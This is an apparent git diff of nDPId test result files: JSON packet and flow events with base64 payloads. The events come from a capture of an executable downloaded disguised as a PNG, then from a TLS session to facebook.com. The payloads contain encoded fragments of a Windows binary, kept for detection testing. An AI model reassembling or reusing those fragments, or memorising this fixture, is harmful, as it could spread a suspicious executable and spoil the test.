\/Y0QZsF3EGbZxg1mCyQNZvZtEGbXowBmWXUQZnB1EGbAkg9m7V0QZjBsDmbt7g5mRIsQZkSWD2YhmA5m\/MYNZhHdDmavnw1m7GsOZgAAAAAAAAAAAAAAAAAAAAAAAAAA0kOLXQAAAAACAAAAMgAAAAAAAAAA0AMAAAAAAIUACABWbEAAAAAAAF1sQAAFAAgAWW1AAAAAAABgbUAAAADIQgAAAAAHAAgAS29AAF1vQABTb0AAAQAIAGVwQAABAAgA9XBAAAEACABkcUAAAQAIACxyQAAoLURU+yH5PwEACAChckAABwAIAMdzQADZc0AAz3NAAAcACABSdUAAZHVAAFp1QAAJAAgANnZAAAAAAAA+dkAABwAIAAl6QAAnekAAEXpAACwAFAAAAAAAAAAAAFWNQAAAAAAAcBJAABoAAACOekAAnnpAAAZ7QAAVe0AAIntAAG97QACHfEAAXX1AADl+QAAQf0AA939AAPWBQAC\/gkAA14NAAKiEQABJhkAAbIZAAA2IQAAGiUAAC4lAAI2LQACNi0AAXoxAACiNQABBjUAATY1AAAAAAAAAALpCAADwQQAASEIAAAAABgAEAAAAAAAqkEAAF5BAAA0ACADZkUAAAAAAAOGRQAACAAQAAAAAAEaWQAAAAAAAAgAEAAAAAADglkAAAAAAAAIABAAAAAAAEZhAAAAAAAAEAAQAAAAAAAAAAAB0nkAAAQAIANOeQAABAAgAQp9AAAUACAAnoEAAAAAAAC6gQAAAAAAAAAAAQAcACADTrkAAHK9AANuuQAABAAgAuq9AAAkACAAtsEAAAAAAADSwQAABAAgAs7BAAAEACAAisUAACQAIAJ6xQAAAAAAApbFAAAMACAAzskAAOLJAAAAAAAABAAgAtLJAAAEACAAks0AAAQAIAJOzQAABAAgAArRAAAEACABxtEAAAQAIAOG0QAABAAgAQLVAAAEACACvtUAAAQAIABC2QAABAAgAgbZAAAEACADxtkAAAQAIAFC3QAABAAgAv7dAAAEACAAhuEAAAQAIAJG4QAABAAgA8bhAAAEACABhuUAAAQAIAME="} +00420{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":54858,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoBlVAAIAGv\/EKCRlluWJXucAtAFB7PMIsLy4gJlAQ+vAzHwAA"} +02359{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":55189,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8ESgAAIAG78q5Yle5CgkZZQBQwC0vLiAmezzCLFAY+vBiYQAAuUAAAQAIADG6QAABAAgAkbpAAAEACAABu0AAAQAIAGC7QAABAAgAz7tAAAkACAA7vEAAAAAAAEK8QAADAAgA0LxAANW8QAAAAAAAAQAIAEG9QAABAAgAsb1AAAEACAAQvkAAAQAIAH++QAABAAgA4L5AAAEACABPv0AAAQAIALC\/QAABAAgAH8BAAAEACACAwEAAAQAIAO\/AQAABAAgAUMFAAAEACAC\/wUAAAQAIACfCQAAJAAgAm8JAAAAAAACiwkAAAQAIAB\/DQACBAAgA8MNAAAEACAByxEAABAAEAAAAAAAAAAAAjshAAAAAAAAA4G9ADgAIAAAAAACi0kAAXNJAAAYABAAAAAAAntNAAJTTQAAGAAQAAAAAAG7UQABk1EAAAQAIAODUQAABAAgAetVAAAUACAB610AAAAAAAIHXQAD\/JawQQAD\/JdgQQAD\/JfAQQAD\/JYwQQAD\/JXQQQAD\/JQwRQAD\/JVQQQAD\/JSgRQAD\/JZQQQAD\/JSQRQAD\/JRARQAD\/JegQQAD\/JcQQQAD\/JeQQQAD\/JWQQQAD\/JTQQQAD\/JVQRQAD\/JTAQQAD\/JXQRQAD\/JQARQAD\/JaQQQAD\/JcwQQAD\/JWgRQAD\/JWARQAD\/JbwQQAD\/JagQQAD\/JVwRQAD\/JWAQQAD\/JfgQQAD\/JcAQQAD\/JUwQQAD\/JVwQQAD\/JYgQQAD\/JXgQQAD\/JQgRQAD\/JQQRQAD\/JUAQQAD\/JRgQQAD\/JRQRQAD\/JRwRQAD\/JSAQQAD\/JXwRQAD\/JSgQQAD\/JWwQQAD\/JZgQQAD\/JUARQAD\/JTgQQAD\/JXgRQAD\/JUwRQAD\/JZAQQAD\/JYQQQAD\/JTwQQAD\/JTARQAD\/JXARQAD\/JTwRQAD\/JSQQQAD\/JRwQQAD\/JXAQQAD\/JRAQQAD\/JVgRQAD\/JdQQQAD\/JewQQAD\/JWQRQAD\/JfwQQAD\/JWwRQAD\/JUgQQAD\/JQAQQAD\/JQQQQAD\/JVgQQAD\/JTQRQAD\/JQgQQAD\/JVARQAD\/JTgRQAD\/JeAQQAD\/JfQQQAD\/JdwQQAD\/JbAQQAD\/JVAQQAD\/JRgRQAD\/JUQQQAD\/JSARQAD\/JWgQQAD\/JUgRQAD\/JZwQQAD\/JUQRQAD\/JYAQQAD\/JbgQQAD\/JdAQQAD\/JbQQQAD\/JcgQQAD\/JXwQQAD\/JaAQQAD\/JSwRQAAAAGjgGEAA6O7\/\/\/8AAEgAAAAwAAAAQAAAAAAAAABZxeBSNkWdR7XAygQPYAd3AAAAAAAAAQAAAAAAAAAAAEFNTUFDQVJFAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAAAAAIAAAAAAAAAw+pSHSnosEW6azzXfHwapwEAAACYAAAAqAAAAAEAAAAAAAAAASAAAAAAAAAAAAAAAAAAAGpDaGFydAAAy+IzLEEPxUGmS11wcgPVKQAUfZL3TUxLqgQKmr5etHcBAAEAbCtAAAAAAAD\/\/\/\/\/\/\/\/\/\/wAAAADwK0AACOBAAAUAAADMGEAAAAAAAAAAAAAAAAAAzBhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVkI1IfAfKgAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAoACQQAAAAAAADQnUAANBxAABbwcAAA\/\/\/\/CAAAAAEAAAACAAEA6QAAAHwZQAAcGkAA3BdAAHgAAACBAAAAkAAAAJEAAAAAAAAAAAAAAAAAAAAAAAAASG9sYUZvcm0ARGljVmVyb25hUGFydDIAAEFNTUFDQVJFAAAAUAAAAELjrPwr8ndNjhrp2LSKRh0AAAAAAAAAAAAAAAAAAAAAAAAAAMMBAACRQQIAw+pSHSk="} +02264{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":55696,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8ESkAAIAG78m5Yle5CgkZZQBQwC0vLiV6ezzCLFAY+vCF8gAA6LBFums813x8GqfsAAAAAAAAAGRFQABMAAAAUAAAAN9uiYgizvFGuh2dNdOBjtEAAAAAAAAAAAAAAAAAAAAAAwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPYVAAAAAAAAUEZAAJwAAADoAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAP\/\/\/\/8AAAAA0AAAANEAAADhAAAAAAAAAMPqUh0p6LBFums813x8GqcAFH2S901MS6oECpq+XrR3y+IzLEEPxUGmS11wcgPVKeOSxrAzpaRGvgd9xm+yfh4xjrter\/k+T7eGjRsDtdunPwEAAADgAAAARoT\/DwMAAOxiHWDQkSRJhGgetLBl\/ZJowTPquYefQaoiGxAoHisfAAAAAGITVyAAAAAAAAAAAAAAAAAAAAAAAEFNTUFDQVJFLmpDaGFydABqQ2hhcnQABwAAALRBQAAHAAAAcEFAAAcAAAAsQUAABwAAAOBAQAAHAAAAhEBAAAcAAAAwQEAABwAAAOw\/QAAHAAAAqD9AAAcAAABgP0AABwAAABg\/QAAHAAAAsD5AAAcAAABsPkAABwAAACg+QAAHAAAA3D1AAAcAAACUPUAABwAAAFA9QAAHAAAA7DxAAAcAAACkPEAABwAAAFw8QAAHAAAAFDxAAAcAAADMO0AABwAAAIg7QAAHAAAAGDtAAAcAAADUOkAABwAAAJA6QAAHAAAATDpAAAcAAAAIOkAABwAAAMQ5QAAHAAAAYDlAAAcAAAAEOUAABwAAAMA4QAAHAAAAeDhAAAYAAAD8M0AABwAAAEQwQAAHAAAA\/C9AAAcAAACgL0AABwAAAEwvQAAHAAAA8C5AAPQBAABsK0AAAAAAANBqQADQ10AAABYAAAjgQACmFUAAAOBAACoAXABBAEYAOgBcADgAMQA3ADIAMAAwADAAXABEAGkAYwBWAGUAcgBvAG4AYQA0AFAAYQByAHQAMgAuAHYAYgBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQbQAAmAAAAAQAAAGwrQAAAAAAApGZAAP\/\/\/\/8AAAAAwCtAACDgQAAAAAAAGMdUCQAAAAAAAAAAAAAAAOgeQAABAAAAoDBAAAAAAADoHkAAAQAAAPAeQAABAAAA7B5AAAIAAAD0HkAADwDiAWgAbABEH0AAHO5AAAAAAAA09mAJsDBAAMAwQADQMEAAQAAsAIgGAADgMEAA\/\/\/\/\/wA="} +00420{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":55794,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"IOUqtpPxAAgCHEeuCABFAAAoBlZAAIAGv\/AKCRlluWJXucAtAFB7PMIsLy4qzlAQ+vAodwAA"} +02285{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"exe_download_as_png.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569434904,"pkt_ts_usec":56830,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"AAgCHEeuIOUqtpPxCABFAAV8ESoAAIAG78i5Yle5CgkZZQBQwC0vLirOezzCLFAY+vBtPQAAAAAAAAAAAIAfQADol0AJ8DBAAP\/\/\/\/9AABIAjAYAAJwxQAABAAMAAAAAAAAAAABIIEAA+JdACawxQAABAAMA5CBAAPEgQAD+IEAACyFAABghQAAlIUAAMiFAAD8hQABmIUAAsCBAAL0gQADKIEAA1yBAAEwhQABZIUAAAAAAAPQeQABwHkAAqhdAALAXQAC2F0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM8gQAC1IEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHB9AAHAeQACqF0AAsBdAALYXQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBbCQEhwYAAOkrSgAAgWwkBIcGAADpzksAAIFsJASHBgAA6cFMAACBbCQEhwYAAOm0TgAAgWwkBP\/\/AADpp08AAIFsJAT\/\/wAA6SpQAACBbCQE\/\/8AAOmNUAAAgWwkBP\/\/AADpQFEAAIFsJAT\/\/wAA6bNRAACBbCQE\/\/8AAOn2UgAAgWwkBP\/\/AADpWVQAAIFsJAT\/\/wAA6UxVAACBbCQE\/\/8AAOn\/WAAAgWwkBP\/\/AADpYmwAAIFsJAT\/\/wAA6eVuAAAAAQADAGwrQAAAAAAAJGdAAP\/\/\/\/8AAAAAUCxAADTgQAAAAAAAQNJQCQAAAAAAAAAAAAAAAOQhQAABAAAAiDZAAAAAAADkIUAAAQAAAOwhQAAAAAAA6CFAAAcAAADsIUAABAC3AWgAbAAEI0AA8OVAAAAAAACo7WAJmDZAANA0QABAABgAOAAAAEQ0QAAFAAMAAAAAAAAAAAAUI0AAgJhACag2QAAFAAMAQAAJADwAAAC0NkAAAQADAAAAAAAAAAAAjCNAAJCYQAnENkAAAQADAEAAEQBAAAAAzDZAAAMAAwAAAAAAAAAAAMgjQACgmEAJ3DZAAAMAAwBAABgARAAAAEQ0QAACAAMAAAAAAAAAAAAkJEAAgJhACeQ2QAACAAMAQAASAEgAAACcMUAABgADAAAAAAAAAAAAnCRAAPiXQAnwNkAABgADAEAAHwBMAAAA\/DZAAP\/\/\/\/8AAAAAAAAAAPwkQACwmEAJDDdAAP\/\/\/\/9AABEAUAAAAMw2QAAEAAMAAAAAAAAAAACQJUAAoJhACRQ3QAAEAAMA7CVAAPslQAASJkAAHyZAAAAAAADsIUAAbCFAAKoXQACwF0AAthdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUIkAAbCFAAKoXQACwF0AAthdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8IkAAbCFAAKoXQACwF0AAthdAABcmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGQiQABsIUAAqhdAALAXQAC2F0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} diff --git a/test/results/facebook.pcap.out b/test/results/facebook.pcap.out new file mode 100644 index 000000000..8f05450a6 --- /dev/null +++ b/test/results/facebook.pcap.out @@ -0,0 +1,37 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"facebook.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1472393122365,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"66.220.156.68","src_port":52066,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":365661,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"mAyC0zx8MFLLbJwbCABFAAA84M9AAEAGjxHAqCsSQtycRMtiAbv14btyAAAAAKACchDLCQAAAgQFtAQCCAoAS1u9AAAAAAEDAwc="} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":668038,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MFLLbJwbmAyC0zx8CABFAAA8AABAAE0GYuFC3JxEwKgrEgG7y2LsHfNy9eG7c6ASNpzIhwAAAgQFeAQCCAq7uwhkAEtbvQEDAwg="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":668050,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA04NBAAEAGjxjAqCsSQtycRMtiAbv14btz7B3zc4AQAOXLAQAAAQEICgBLXBi7uwhk"} +00692{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":668183,"pkt_caplen":262,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":262,"pkt_l4_len":228,"pkt":"mAyC0zx8MFLLbJwbCABFAAD44NFAAEAGjlPAqCsSQtycRMtiAbv14btz7B3zc4AYAOXLxQAAAQEICgBLXBi7uwhkFgMBAL8BAAC7AwNbh8URkho8fraMBpv52BLid6sw70NU5sSdt5TqEulpNAAAGsArwC\/MqcyowArACcATwBQAMwA5AC8ANQAKAQAAeAAAABEADwAADGZhY2Vib29rLmNvbQAXAAD\/AQABAAAKAAgABgAXABgAGQALAAIBAAAjAAAzdAAAABAAFwAVAmgyCHNwZHkvMy4xCGh0dHAvMS4xAAUABQEAAAAAAA0AGAAWBAEFAQYBAgEEAwUDBgMCAwUCBAICAg=="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"facebook.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1472393122365,"flow_last_seen":1472393122668,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":32,"flow_max_l4_data_len":228,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"66.220.156.68","src_port":52066,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"facebook.com","ja3":"bfcc1a3891601edb4f137ab7ab25b840","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,spdy\/3.1,http\/1.1"}} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":981932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MFLLbJwbmAyC0zx8CABFAAA0+htAAE0GaM1C3JxEwKgrEgG7y2LsHfNz9eG8N4AQADsrTQAAAQEICru7CXIAS1wY"} +02289{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":981938,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"MFLLbJwbmAyC0zx8CABFAAWg+hxAAE0GY2BC3JxEwKgrEgG7y2LsHfNz9eG8N4AQADs4NQAAAQEICru7CXMAS1wYFgMDAEoCAABGAwND9eJDZ6XRoA8\/vZrNEztYnJEjgkJwJf+Fvp1IGEEGSwDAKwAAHgAAAAD\/AQABAAALAAQDAAECACMAAAAQAAUAAwJoMhYDAwtvCwALawALaAAGrTCCBqkwggWRoAMCAQICEA7LCTmysQFUuJVwx7IrekcwDQYJKoZIhvcNAQELBQAwcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwHhcNMTQwODI4MDAwMDAwWhcNMTYxMjMwMTIwMDAwWjBhMQswCQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExEzARBgNVBAcTCk1lbmxvIFBhcmsxFzAVBgNVBAoTDkZhY2Vib29rLCBJbmMuMRcwFQYDVQQDDA4qLmZhY2Vib29rLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABNjR3TW94lm2+5sfVBWM279OWL1HvrgQ\/CLp0p6Y+EkqJfuURuRCmYRQHF8B\/RQlMVxO2WT9xQyzRtKhvHC0h46jggQXMIIEEzAfBgNVHSMEGDAWgBRRaP+QrwIHdTzM2WVkYqISuFlyOzAdBgNVHQ4EFgQUQwmTQPoRSzAz7PKHbo1xGM+KvI4wgccGA1UdEQSBvzCBvIIOKi5mYWNlYm9vay5jb22CDiouZmFjZWJvb2submV0gggqLmZiLmNvbYILKi5mYmNkbi5uZXSCCyouZmJzYnguY29tghAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDioueHguZmJjZG4ubmV0gg4qLnh5LmZiY2RuLm5ldIIOKi54ei5mYmNkbi5uZXSCDGZhY2Vib29rLmNvbYIGZmIuY29tgg1tZXNzZW5nZXIuY29tMA4GA1UdDwEB\/wQEAwIHgDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwdQYDVR0fBG4wbDA0oDKgMIYuaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL3NoYTItaGEtc2VydmVyLWc1LmNybDA0oDKgMIYuaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NoYTItaGEtc2VydmVyLWc1LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjCBgwYIKwYBBQUHAQEEdzB1MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTQYIKwYBBQUHMAKGQWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJIaWdoQXNzdXJhbmNlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkBZwB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABUat76fsAAAQDAEYwRAIgKMh9hl3xFDKdOlA+L8KZgOwTyPkfXZ+KCoH7+eoCjPUCIChvf5ezJwFmu4lNxahTOjTO9qtGrvFwvbgnLcIDKPYsAHYAaPaY+B9kgr46jO65KB1M\/HFRXWeT1ETRCmesu09P+8QAAAFRq3vpvQAABAMARzBFAiEA+3vO+h10a+t2IHcW48BYcrMhNZrAQy2okHfht5raX20CIASqi0LSrMrRh99wVMc="} +00797{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"facebook.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1472393122365,"flow_last_seen":1472393122981,"flow_tot_l4_data_len":1792,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":298,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"66.220.156.68","src_port":52066,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"facebook.com","ja3":"bfcc1a3891601edb4f137ab7ab25b840","ja3s":"2d1eb5817ece335c24904f516ad5da12","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"h2,spdy\/3.1,http\/1.1"}} +00423{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":981941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA04NJAAEAGjxbAqCsSQtycRMtiAbv14bw37B3434AQAPvLAQAAAQEICgBLXHa7uwlz"} +02295{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":981946,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"MFLLbJwbmAyC0zx8CABFAAWg+h1AAE0GY19C3JxEwKgrEgG7y2LsHfjf9eG8N4AQADuuwwAAAQEICru7CXMAS1wYHiIgUzbfk1u4H1v8gAXRmlqrsAB2AFYUBpov18Ls0\/XhvUSyPsdGdrm8mRFcwO+UmFXWidDdAAABUat76o8AAAQDAEcwRQIhAP4sttTvlf\/8zXhxgYitOrOjEgyCsti1TObxZv7UfjSlAiAtK9XVE4ScmdkWZRUI3FllxcAsapXn6YOfryaLORAmKDANBgkqhkiG9w0BAQsFAAOCAQEAqpGuUgGMYPYCtpTrr27r3TzI4W8Xq7gogOzcVIJWJMEWCOHCyD48D1MYQH\/fQTaTlV+x2TVDXpRg+dang2p9x7T2C5B2+LQKwTENFhi1y3Fc+ZMCIaq7QP3uChup8sMOJRNjZ6JC63nqX4\/72Lt2jF9hyiy+AUQJrzYeqfdAHKSzZXhCaATwSwx\/H9kT9go7NXlzacc8cOVdBpjqiNXda+ZmYlfPr9D7Z5vgyCA6ubZPOXpfxP2gRoy8x0Sns6tSSduGl+0uvIBWlZ\/SY4RX55IVMuR1xYFSyzsm4V1L\/eA5XoEGr8x+d9GdmgZv7\/f84oZaFlrCBN6A43gfD\/x\/3wAEtTCCBLEwggOZoAMCAQICEATh56TcXPLzbcArQrhdFZ8wDQYJKoZIhvcNAQELBQAwbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2UgRVYgUm9vdCBDQTAeFw0xMzEwMjIxMjAwMDBaFw0yODEwMjIxMjAwMDBaMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtuAvwiQGyG0EX9fvCmQGsn0iJmUWrkJAm87cn592Bz7DMFWHGblPlA5alB9VVrTCAiqv0JjuC0DXxNA7csgUnu+QsRGprtLIuEM62QsL1dWV9UCvyB3tTZxfV7eGUGiZ9Yra0scFH6iXydyksYKELcatpZzHGYKmhQ9eRFgqN4\/9NfELCCcyWvW7i56kvVHQJ+LdO0IzowUoxLsozJqsKyMNeMZ75l5xt0o+CPuBtxYWoZ0jEk3l15IIrHWknLrNF7IeRDVlf1MlOdEcCppjGxmSdGgKN8LCUkjLOVqituFdwd2gILghopMmbxRKIUHH7W2b8kgv8wP1omiSUy9e4wIDAQABo4IBSTCCAUUwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEsGA1UdHwREMEIwQKA+oDyGOmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEhpZ2hBc3N1cmFuY2VFVlJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d